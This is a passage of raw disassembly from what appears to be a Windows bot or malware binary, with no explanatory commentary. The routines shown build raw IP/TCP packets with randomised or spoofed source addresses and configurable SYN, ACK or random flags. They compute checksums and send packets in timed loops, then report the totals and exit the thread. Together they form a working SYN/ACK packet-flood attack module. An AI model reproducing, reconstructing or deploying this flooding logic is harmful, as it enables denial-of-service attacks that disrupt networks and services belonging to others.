		jnb	short loc_412ECF
		jmp	loc_412D61
; ---------------------------------------------------------------------------


loc_412EA6:				; CODE XREF: sub_412C36+247j
		call	dword_4E083C
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_44CD3C
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_41458A
		add	esp, 10h
		jmp	short loc_412ED2
; ---------------------------------------------------------------------------


loc_412ECF:				; CODE XREF: sub_412C36+25Bj
					; sub_412C36+269j
		mov	ebx, [ebp+arg_8]


loc_412ED2:				; CODE XREF: sub_412C36+78j
					; sub_412C36+297j
		push	[ebp+var_C]
		call	dword_4E0934
		pop	esi


loc_412EDC:				; CODE XREF: sub_412C36+5Bj
		call	dword_4E0804
		mov	eax, ebx


loc_412EE4:				; CODE XREF: sub_412C36+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412C36	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EE8	proc near		; CODE XREF: sub_412B9A+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_409EFD
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41B3F0
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41B3F0
		mov	edi, eax
		call	sub_41B850
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412C36
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_412F33
		push	1
		pop	eax


loc_412F33:				; CODE XREF: sub_412EE8+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_412EE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F42	proc near		; DATA XREF: sub_401CC1+64A3o

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]


loc_412F4E:				; DATA XREF: .nsp0:off_451074o
					; .nsp0:off_451078o
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41B3F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4E08DC
		push	eax
		call	sub_412FE3
		push	eax
		lea	eax, [ebp+var_394]
		push	offset dword_44CD5C
		push	eax
		call	sub_41B740
		xor	esi, esi
		add	esp, 14h
		cmp	[ebp+var_8], esi
		jnz	short loc_412FC4
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_408EB9
		add	esp, 14h


loc_412FC4:				; CODE XREF: sub_412F42+60j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_41458A
		push	[ebp+var_10]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F1388	; ExitThread
		pop	edi
		pop	esi
sub_412F42	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412FE3	proc near		; CODE XREF: sub_412F42+41p

var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ecx
		and	[ebp+var_88], 0
		push	4
		and	[ebp+var_58], 0
		pop	esi
		mov	ebx, 0FFh
		push	6
		xor	eax, eax
		pop	edx
		lea	edi, [ebp+var_54]
		mov	[ebp+var_84], ecx
		mov	[ebp+var_80], 2
		mov	[ebp+var_7C], esi
		mov	[ebp+var_78], edx
		mov	[ebp+var_74], 8
		mov	[ebp+var_70], 0Ch
		mov	[ebp+var_6C], 11h
		mov	[ebp+var_68], 16h
		mov	[ebp+var_64], 29h
		mov	[ebp+var_60], 3Ah
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_50], eax
		stosd
		lea	edi, [ebp+var_2C]
		mov	[ebp+var_4C], eax
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], 2000h
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], edx
		mov	[ebp+var_38], 3FFFh
		mov	[ebp+var_34], ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_28], ecx
		stosd
		mov	edi, 100h
		push	edi
		call	sub_41D910
		pop	ecx
		mov	[ebp+var_4], eax
		push	edi
		push	eax
		call	dword_4E08B4
		push	[ebp+var_4]
		call	dword_4E0920
		mov	eax, [eax+0Ch]
		push	ebx
		push	3
		push	2
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		call	dword_4E091C
		lea	ecx, [ebp+var_28]
		push	esi
		push	ecx
		push	2
		push	0
		push	eax
		mov	[ebp+var_4], eax
		call	dword_4E0880
		mov	esi, 200h
		push	esi
		call	sub_418ED0
		mov	edi, dword_4F1364
		pop	ecx
		mov	[ebp+var_8], eax
		call	edi	; GetTickCount
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		push	29Ah
		mov	[ebp+var_94], eax
		mov	[ebp+var_98], 2
		call	dword_4E08A0
		mov	[ebp+var_96], ax


loc_4130FE:				; CODE XREF: sub_412FE3+1FCj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	loc_4131E4
		call	sub_41B850
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	eax, [ebp+var_C]
		and	eax, 0FFFFFFh
		shl	edx, 18h
		or	edx, eax
		mov	[ebp+var_C], edx
		call	sub_41B850
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	[ebp+var_54], edx
		call	sub_41B850
		cdq
		mov	ecx, 1FA4h
		mov	[ebp+var_24], 45h
		idiv	ecx
		mov	[ebp+var_23], 4
		mov	[ebp+var_2C], edx
		call	sub_41B850
		mov	[ebp+var_20], ax
		call	sub_41B850
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, word ptr [ebp+edx*4+var_50]
		push	eax
		call	dword_4E08A0
		push	esi
		mov	[ebp+var_1E], ax
		call	dword_4E08A0
		mov	[ebp+var_22], ax
		mov	[ebp+var_1C], bl
		call	sub_41B850
		push	0Eh
		cdq
		pop	ecx
		idiv	ecx
		push	14h
		mov	al, byte ptr [ebp+edx*4+var_88]
		mov	[ebp+var_1B], al
		mov	eax, [ebp+var_C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_40A072
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_24]
		push	14h
		push	eax
		push	[ebp+var_8]
		call	near ptr sub_41C8D0
		add	esp, 14h
		lea	eax, [ebp+var_98]
		push	10h
		push	eax
		push	0
		push	esi
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_4E0900
		jmp	loc_4130FE
; ---------------------------------------------------------------------------


loc_4131E4:				; CODE XREF: sub_412FE3+12Cj
		push	[ebp+var_8]
		call	sub_419940
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E0934
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412FE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131FE	proc near		; DATA XREF: sub_401CC1+4BA1o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_4F1364
		call	edi	; GetTickCount
		push	eax
		call	sub_41B840
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_4E091C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4132C7
		call	dword_4E083C
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_44CD7C
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4132A7
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408EB9
		add	esp, 14h


loc_4132A7:				; CODE XREF: sub_4131FE+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_41458A
		push	[ebp+var_BC]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread


loc_4132C7:				; CODE XREF: sub_4131FE+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_4E0880
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413345
		call	dword_4E083C
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_44CDB0
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_413325
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408EB9
		add	esp, 14h


loc_413325:				; CODE XREF: sub_4131FE+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_41458A
		push	[ebp+var_BC]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread


loc_413345:				; CODE XREF: sub_4131FE+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4E08DC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4133B5
		lea	eax, [ebp+var_440]
		push	offset unk_44CDE8
		push	eax
		call	sub_41B740
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_413395
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408EB9
		add	esp, 14h


loc_413395:				; CODE XREF: sub_4131FE+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_41458A
		push	[ebp+var_BC]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread


loc_4133B5:				; CODE XREF: sub_4131FE+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_4E08A0
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4E08DC
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax


loc_4133ED:				; CODE XREF: sub_4131FE+430j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_4136B1
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_4E08A0
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_413460
		call	sub_41B850
		mov	esi, eax
		shl	esi, 8
		call	sub_41B850
		add	esi, eax
		shl	esi, 8
		call	sub_41B850
		add	esi, eax
		shl	esi, 8
		call	sub_41B850
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_413476
; ---------------------------------------------------------------------------


loc_413460:				; CODE XREF: sub_4131FE+233j
		push	[ebp+var_240]
		call	sub_40A019
		pop	ecx
		push	eax
		call	dword_4E08DC
		mov	[ebp+var_20], eax


loc_413476:				; CODE XREF: sub_4131FE+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_413494
		call	sub_41B850
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_41349A
; ---------------------------------------------------------------------------


loc_413494:				; CODE XREF: sub_4131FE+284j
		push	[ebp+var_B8]


loc_41349A:				; CODE XREF: sub_4131FE+294j
		call	dword_4E08A0
		mov	[ebp+var_16], ax
		call	sub_41B850
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4E08A0
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_4E089C
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn_0	; "syn"
		push	eax
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4134EA
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_413546
; ---------------------------------------------------------------------------


loc_4134EA:				; CODE XREF: sub_4131FE+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck_0	; "ack"
		push	eax
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41350A
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_413546
; ---------------------------------------------------------------------------


loc_41350A:				; CODE XREF: sub_4131FE+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom_2 ; "random"
		push	eax
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413546
		call	sub_41B850
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_41B850
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_413546:				; CODE XREF: sub_4131FE+2EAj
					; sub_4131FE+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_4E08A0
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_4E08A0
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	near ptr sub_41C8D0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	near ptr sub_41C8D0
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40A072
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	near ptr sub_41C8D0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	near ptr sub_41C8D0
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40A072
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	near ptr sub_41C8D0
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_4E0900
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413633
		inc	[ebp+arg_0]
		jmp	loc_4133ED
; ---------------------------------------------------------------------------


loc_413633:				; CODE XREF: sub_4131FE+42Bj
		push	[ebp+var_4]
		call	dword_4E0934
		call	dword_4E083C
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_44CE18
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41B910
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_413691
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408EB9
		add	esp, 14h


loc_413691:				; CODE XREF: sub_4131FE+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_41458A
		push	[ebp+var_BC]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread


loc_4136B1:				; CODE XREF: sub_4131FE+203j
		push	[ebp+var_4]
		call	dword_4E0934
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_44CE68
		push	eax
		call	sub_41B740
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_413722
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408EB9
		add	esp, 14h


loc_413722:				; CODE XREF: sub_4131FE+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_41458A
		push	[ebp+var_BC]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread
sub_4131FE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413742	proc near		; CODE XREF: sub_413849+198p
					; sub_413849+1A7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+arg_4], esi
		jle	short loc_41376E
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_413760:				; CODE XREF: sub_413742+26j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_413760
		pop	edi
		cmp	eax, 1


loc_41376E:				; CODE XREF: sub_413742+12j
		jnz	short loc_41377B
		mov	al, [edx]
		mov	byte ptr [ebp+arg_4], al
		movzx	eax, word ptr [ebp+arg_4]
		add	esi, eax


loc_41377B:				; CODE XREF: sub_413742:loc_41376Ej
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
sub_413742	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413794	proc near		; DATA XREF: sub_401CC1+63ABo

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41B3F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4E08DC
		push	eax
		lea	esi, [ebp+var_194]
		sub	esp, 194h
		push	65h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_413849
		push	eax
		lea	eax, [ebp+var_394]
		push	offset unk_44CEB8
		push	eax
		call	sub_41B740
		xor	esi, esi
		add	esp, 1A8h
		cmp	[ebp+var_8], esi
		jnz	short loc_41382C
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_408EB9
		add	esp, 14h


loc_41382C:				; CODE XREF: sub_413794+76j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_41458A
		push	[ebp+var_10]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F1388	; ExitThread
sub_413794	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413849	proc near		; CODE XREF: sub_413794+54p

var_CC		= byte ptr -0CCh
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_A3		= byte ptr -0A3h
var_A2		= word ptr -0A2h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_63		= byte ptr -63h
var_62		= byte ptr -62h
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_52		= word ptr -52h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= word ptr -40h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_194		= dword	ptr  19Ch
arg_198		= dword	ptr  1A0h

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		push	ebx
		push	esi
		mov	esi, dword_4F1364
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_4], ebx
		call	esi	; GetTickCount
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_10], eax
		call	dword_4E091C
		mov	[ebp+var_8], eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41B840
		pop	ecx
		mov	edi, 578h
		push	edi
		push	9
		push	1
		call	sub_4165B5
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	esi, 5A0h


loc_4138A3:				; CODE XREF: sub_413849+233j
		call	dword_4F1364	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_198]
		ja	loc_413A81
		cmp	dword_4E4098, ebx
		jnz	short loc_413920
		push	10h
		pop	eax
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_68]
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E0848
		push	0FFh
		push	1
		call	sub_4165B5
		push	eax
		movzx	eax, [ebp+var_62]
		push	eax
		movzx	eax, [ebp+var_63]
		push	eax
		movzx	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_CC]
		push	offset aD_D_D_D_1 ; "%d.%d.%d.%d"
		push	eax
		call	sub_41B740
		add	esp, 20h
		jmp	short loc_413933
; ---------------------------------------------------------------------------


loc_413920:				; CODE XREF: sub_413849+7Ej
		lea	eax, [ebp+var_CC]
		push	offset dword_4E3A78
		push	eax
		call	sub_41C300
		pop	ecx
		pop	ecx


loc_413933:				; CODE XREF: sub_413849+D5j
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_4E08DC
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_58]
		and	al, 45h
		push	esi
		or	al, 45h
		mov	[ebp+var_54], 10h
		mov	[ebp+var_58], eax
		call	dword_4E08A0
		mov	[ebp+var_52], ax
		call	sub_41B850
		mov	[ebp+var_50], ax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_48], eax
		mov	eax, [ebp+arg_194]
		mov	[ebp+var_4E], 40h
		mov	[ebp+var_4C], 40h
		mov	[ebp+var_4B], 6
		mov	[ebp+var_4A], bx
		mov	[ebp+var_44], eax
		call	sub_41B850
		mov	[ebp+var_40], ax
		call	sub_41B850
		mov	[ebp+var_3E], ax
		call	sub_41B850
		mov	[ebp+var_3C], eax
		call	sub_41B850
		mov	[ebp+var_38], eax
		mov	eax, [ebp+var_34]
		and	ax, 0FF50h
		push	14h
		or	al, 50h
		mov	byte ptr [ebp+var_34+2], 18h
		mov	word ptr [ebp+var_34], ax
		mov	ax, [ebp+var_3E]
		mov	[ebp+var_76], ax
		mov	eax, [ebp+var_44]
		mov	[ebp+var_74], eax
		lea	eax, [ebp+var_58]
		push	eax
		mov	[ebp+var_30], 787Dh
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], bx
		mov	[ebp+var_78], 2
		call	sub_413742
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		call	sub_413742
		mov	eax, [ebp+var_48]
		add	esp, 10h
		mov	[ebp+var_AC], eax
		mov	eax, [ebp+var_44]
		push	58Ch
		mov	[ebp+var_A8], eax
		mov	[ebp+var_A4], bl
		mov	[ebp+var_A3], 6
		call	dword_4F14FC	; htons
		mov	[ebp+var_A2], ax
		lea	eax, [ebp+var_A0]
		push	14h
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	near ptr sub_41C8D0
		lea	eax, [ebp+var_8C]
		push	edi
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	near ptr sub_41C8D0
		lea	eax, [ebp+var_AC]
		push	598h
		push	eax
		call	sub_413742
		add	esp, 20h
		mov	[ebp+var_2E], ax
		push	10h
		lea	eax, [ebp+var_78]
		push	eax
		push	ebx
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_4E0900
		inc	[ebp+var_4]
		jmp	loc_4138A3
; ---------------------------------------------------------------------------


loc_413A81:				; CODE XREF: sub_413849+72j
		push	[ebp+var_8]
		call	dword_4E0934
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
